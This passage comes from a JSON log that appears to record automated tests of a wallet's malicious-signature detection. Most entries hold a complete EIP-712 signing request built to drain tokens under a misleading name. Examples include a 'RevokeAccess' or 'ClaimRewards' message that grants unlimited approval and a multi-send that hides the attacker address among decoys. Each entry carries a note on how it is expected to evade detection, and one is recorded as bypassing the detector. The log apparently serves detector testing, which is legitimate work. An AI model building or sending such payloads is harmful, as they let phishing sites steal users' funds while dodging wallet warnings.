"{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Vote\":[{\"name\":\"proposalId\",\"type\":\"uint256\"},{\"name\":\"voter\",\"type\":\"address\"},{\"name\":\"support\",\"type\":\"bool\"},{\"name\":\"delegate\",\"type\":\"address\"},{\"name\":\"votingPower\",\"type\":\"uint256\"}]},\"primaryType\":\"Vote\",\"domain\":{\"name\":\"Governance\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"proposalId\":\"42\",\"voter\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"support\":true,\"delegate\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"votingPower\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-003", "timestamp": "2026-01-31T17:00:46.072Z", "technique": "NFT metadata impersonation", "category": "impersonate", "description": "Looks like updating NFT metadata", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"UpdateTokenURI\":[{\"name\":\"tokenId\",\"type\":\"uint256\"},{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"newURI\",\"type\":\"string\"},{\"name\":\"royaltyRecipient\",\"type\":\"address\"},{\"name\":\"royaltyBps\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateTokenURI\",\"domain\":{\"name\":\"NFT Collection\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"tokenId\":\"1\",\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"newURI\":\"ipfs://QmExample\",\"royaltyRecipient\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"royaltyBps\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "IMPERSONATE-004", "timestamp": "2026-01-31T17:00:55.587Z", "technique": "Social recovery impersonation", "category": "impersonate", "description": "Looks like adding recovery guardian", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"AddGuardian\":[{\"name\":\"wallet\",\"type\":\"address\"},{\"name\":\"guardian\",\"type\":\"address\"},{\"name\":\"threshold\",\"type\":\"uint256\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"AddGuardian\",\"domain\":{\"name\":\"Social Recovery Module\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"wallet\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"guardian\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "DECOY-001", "timestamp": "2026-01-31T17:01:04.759Z", "technique": "Address array flooding", "category": "decoy", "description": "Spender is 1 of 20 addresses", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MultiSend\":[{\"name\":\"sender\",\"type\":\"address\"},{\"name\":\"recipients\",\"type\":\"address[]\"},{\"name\":\"amounts\",\"type\":\"uint256[]\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"MultiSend\",\"domain\":{\"name\":\"Multi Sender\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"sender\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"recipients\":[\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"0xE592427A0AEce92De3Edee1F18E0157C05861564\",\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"0x000000000022D473030F116dDEE9F6B43aC78BA3\",\"0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2\",\"0x6B175474E89094C44Da98b954EedcdCdAe53739cE\",\"0xdAC17F958D2ee523a2206206994597C13D831ec7\",\"0x027821c81bc29f8860e7a17ab759ed000c97f178\"],\"amounts\":[\"100000\",\"200000\",\"300000\",\"400000\",\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"100000\",\"200000\",\"300000\",\"400000\",\"500000\"],\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": true } }, { "id": "DECOY-002", "timestamp": "2026-01-31T17:01:13.994Z", "technique": "Multi-recipient decoy", "category": "decoy", "description": "Attacker hidden among legit recipients", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Recipient\":[{\"name\":\"addr\",\"type\":\"address\"},{\"name\":\"share\",\"type\":\"uint256\"},{\"name\":\"label\",\"type\":\"string\"}],\"SplitPayment\":[{\"name\":\"payer\",\"type\":\"address\"},{\"name\":\"totalAmount\",\"type\":\"uint256\"},{\"name\":\"recipients\",\"type\":\"Recipient[]\"}]},\"primaryType\":\"SplitPayment\",\"domain\":{\"name\":\"Payment Splitter\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"payer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"totalAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"recipients\":[{\"addr\":\"0x1111111254EEB25477B68fb85Ed929f73A960582\",\"share\":\"1000\",\"label\":\"Treasury\"},{\"addr\":\"0x68b3465833fb72A70ecDF485E0e4C7bD8665Fc45\",\"share\":\"500\",\"label\":\"Marketing\"},{\"addr\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"share\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"label\":\"Operations\"},{\"addr\":\"0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\",\"share\":\"250\",\"label\":\"Dev Fund\"}]}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-001", "timestamp": "2026-01-31T17:01:23.198Z", "technique": "Zero means unlimited", "category": "value", "description": "Value=0 but contract interprets as max", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SetLimit\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"spender\",\"type\":\"address\"},{\"name\":\"limit\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"SetLimit\",\"domain\":{\"name\":\"Spending Limits\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"spender\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"limit\":\"0\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "VALUE-002", "timestamp": "2026-01-31T17:01:32.389Z", "technique": "Negative value illusion", "category": "value", "description": "Max uint256 displayed as -1", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Adjust\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"operator\",\"type\":\"address\"},{\"name\":\"adjustment\",\"type\":\"int256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Adjust\",\"domain\":{\"name\":\"Balance Adjuster\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"operator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"adjustment\":\"-1\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-001", "timestamp": "2026-01-31T17:01:41.563Z", "technique": "Burn that transfers", "category": "action", "description": "Looks like burning but transfers to spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Burn\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"burnAddress\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"Burn\",\"domain\":{\"name\":\"Token Burner\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"burnAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-002", "timestamp": "2026-01-31T17:01:50.740Z", "technique": "Lock that approves", "category": "action", "description": "Looks like locking tokens but approves", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"LockTokens\":[{\"name\":\"locker\",\"type\":\"address\"},{\"name\":\"lockContract\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"duration\",\"type\":\"uint256\"}]},\"primaryType\":\"LockTokens\",\"domain\":{\"name\":\"Token Locker\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"locker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"lockContract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"duration\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-003", "timestamp": "2026-01-31T17:01:59.937Z", "technique": "Stake that approves", "category": "action", "description": "Looks like staking but grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Stake\":[{\"name\":\"staker\",\"type\":\"address\"},{\"name\":\"stakingPool\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"lockPeriod\",\"type\":\"uint256\"}]},\"primaryType\":\"Stake\",\"domain\":{\"name\":\"Staking Rewards\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"staker\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"stakingPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"lockPeriod\":\"31536000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "ACTION-004", "timestamp": "2026-01-31T17:02:09.111Z", "technique": "Migration to attacker", "category": "action", "description": "Looks like v2 migration but goes to attacker", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"MigrateToV2\":[{\"name\":\"holder\",\"type\":\"address\"},{\"name\":\"v2Contract\",\"type\":\"address\"},{\"name\":\"migrateAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"MigrateToV2\",\"domain\":{\"name\":\"Token Migration\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"holder\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"v2Contract\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"migrateAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "RUN21-EIP3009-022", "timestamp": "2026-01-31T17:02:18.282Z", "technique": "EIP-3009 uppercase addresses", "category": "eip3009", "description": "EIP-3009 with addresses in all uppercase (invalid checksum)", "expectedBypass": "Invalid checksum might confuse validators", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0B86991C6218B36C1D19D4A2E9EB0CE3606EB48\"},\"message\":{\"from\":\"0x027821C81BC29F8860E7A17AB759ED000C97F178\",\"to\":\"0x87EF9D8F1CEC5AFC1A46B472D068FB84E7947326\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x93d83e39ed1a368005780e87bffd7c7da7d16bea4acc5783a6667af686b68305\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: MetaMask popup not found" } }, { "id": "RUN21-EIP3009-054", "timestamp": "2026-01-31T17:02:24.836Z", "technique": "EIP-3009 self transfer", "category": "eip3009", "description": "EIP-3009 where from = SPENDER (attacker sending to self)", "expectedBypass": "Self-transfer might seem benign", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"TransferWithAuthorization\":[{\"name\":\"from\",\"type\":\"address\"},{\"name\":\"to\",\"type\":\"address\"},{\"name\":\"value\",\"type\":\"uint256\"},{\"name\":\"validAfter\",\"type\":\"uint256\"},{\"name\":\"validBefore\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"bytes32\"}]},\"primaryType\":\"TransferWithAuthorization\",\"domain\":{\"name\":\"USD Coin\",\"version\":\"2\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"from\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"to\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"value\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"validAfter\":\"0\",\"validBefore\":\"1893456000\",\"nonce\":\"0x370236da9a30710fca98a7a1020276222c164d07e2575d3457a8ab688f5e33bb\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Execution reverted with reason: ERC20: transfer amount exceeds balance.\n\nRaw Call Arguments:\n from: 0x027821c81bc29f8860e7a17ab759ed000c97f178\n to: 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\n d" } }, { "id": "SEMANTIC-001", "timestamp": "2026-01-31T17:02:34.216Z", "technique": "RevokeAccess type that grants", "category": "semantic", "description": "Type named RevokeAccess but grants unlimited approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"RevokeAccess\":[{\"name\":\"account\",\"type\":\"address\"},{\"name\":\"revokedAddress\",\"type\":\"address\"},{\"name\":\"revokeAmount\",\"type\":\"uint256\"},{\"name\":\"nonce\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"RevokeAccess\",\"domain\":{\"name\":\"Token Security Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"account\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"revokedAddress\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"revokeAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"nonce\":\"0\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-002", "timestamp": "2026-01-31T17:02:43.527Z", "technique": "DisableWithdrawals type", "category": "semantic", "description": "Sounds like disabling but enables", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"DisableWithdrawals\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"disabledFor\",\"type\":\"address\"},{\"name\":\"amount\",\"type\":\"uint256\"},{\"name\":\"expiry\",\"type\":\"uint256\"}]},\"primaryType\":\"DisableWithdrawals\",\"domain\":{\"name\":\"Vault Security\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"disabledFor\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"amount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"expiry\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-003", "timestamp": "2026-01-31T17:02:52.705Z", "technique": "SecurityUpdate type", "category": "semantic", "description": "Looks like security config but adds spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"SecurityConfig\":[{\"name\":\"token\",\"type\":\"address\"},{\"name\":\"maxAmount\",\"type\":\"uint256\"}],\"SecurityUpdate\":[{\"name\":\"user\",\"type\":\"address\"},{\"name\":\"trustedOperator\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"SecurityConfig\"},{\"name\":\"validUntil\",\"type\":\"uint256\"}]},\"primaryType\":\"SecurityUpdate\",\"domain\":{\"name\":\"Security Manager v2\",\"version\":\"2.0\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"user\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"trustedOperator\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"config\":{\"token\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\",\"maxAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"validUntil\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-004", "timestamp": "2026-01-31T17:03:01.906Z", "technique": "EmergencyStop type", "category": "semantic", "description": "Emergency action that grants approval", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"EmergencyStop\":[{\"name\":\"initiator\",\"type\":\"address\"},{\"name\":\"emergencyContact\",\"type\":\"address\"},{\"name\":\"fundsLimit\",\"type\":\"uint256\"},{\"name\":\"activateBy\",\"type\":\"uint256\"}]},\"primaryType\":\"EmergencyStop\",\"domain\":{\"name\":\"Emergency Protocol\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"initiator\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"emergencyContact\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"fundsLimit\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"activateBy\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "SEMANTIC-005", "timestamp": "2026-01-31T17:03:11.109Z", "technique": "ClaimRewards type", "category": "semantic", "description": "Looks like claiming rewards but approves spender", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"ClaimRewards\":[{\"name\":\"claimer\",\"type\":\"address\"},{\"name\":\"rewardsPool\",\"type\":\"address\"},{\"name\":\"claimAmount\",\"type\":\"uint256\"},{\"name\":\"deadline\",\"type\":\"uint256\"}]},\"primaryType\":\"ClaimRewards\",\"domain\":{\"name\":\"Rewards Distribution\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"claimer\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"rewardsPool\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"claimAmount\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\",\"deadline\":\"1893456000\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-001", "timestamp": "2026-01-31T17:03:20.426Z", "technique": "Deeply nested admin", "category": "nested", "description": "Spender buried 4 levels deep in config", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", "{\"types\":{\"EIP712Domain\":[{\"name\":\"name\",\"type\":\"string\"},{\"name\":\"version\",\"type\":\"string\"},{\"name\":\"chainId\",\"type\":\"uint256\"},{\"name\":\"verifyingContract\",\"type\":\"address\"}],\"Admin\":[{\"name\":\"address\",\"type\":\"address\"},{\"name\":\"level\",\"type\":\"uint8\"}],\"SecurityLevel\":[{\"name\":\"admins\",\"type\":\"Admin[]\"},{\"name\":\"threshold\",\"type\":\"uint256\"}],\"Config\":[{\"name\":\"security\",\"type\":\"SecurityLevel\"},{\"name\":\"enabled\",\"type\":\"bool\"}],\"UpdateConfig\":[{\"name\":\"owner\",\"type\":\"address\"},{\"name\":\"config\",\"type\":\"Config\"},{\"name\":\"nonce\",\"type\":\"uint256\"}]},\"primaryType\":\"UpdateConfig\",\"domain\":{\"name\":\"Config Manager\",\"version\":\"1\",\"chainId\":1,\"verifyingContract\":\"0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48\"},\"message\":{\"owner\":\"0x027821c81bc29f8860e7a17ab759ed000c97f178\",\"config\":{\"security\":{\"admins\":[{\"address\":\"0x87ef9D8F1cEC5Afc1A46B472D068FB84e7947326\",\"level\":255}],\"threshold\":\"115792089237316195423570985008687907853269984665640564039457584007913129639935\"},\"enabled\":true},\"nonce\":\"0\"}}" ] }, "result": { "blockaidDetected": false, "bypassed": false, "error": "undefined: Anvil validation failed: Unknown permit format - cannot validate" } }, { "id": "NESTED-002", "timestamp": "2026-01-31T17:03:29.606Z", "technique": "Metadata nested recipient", "category": "nested", "description": "Spender in metadata.attributes structure", "expectedBypass": "Semantic deception - hiding intent with misleading names/structures", "payload": { "method": "eth_signTypedData_v4", "params": [ "0x027821c81bc29f8860e7a17ab759ed000c97f178", 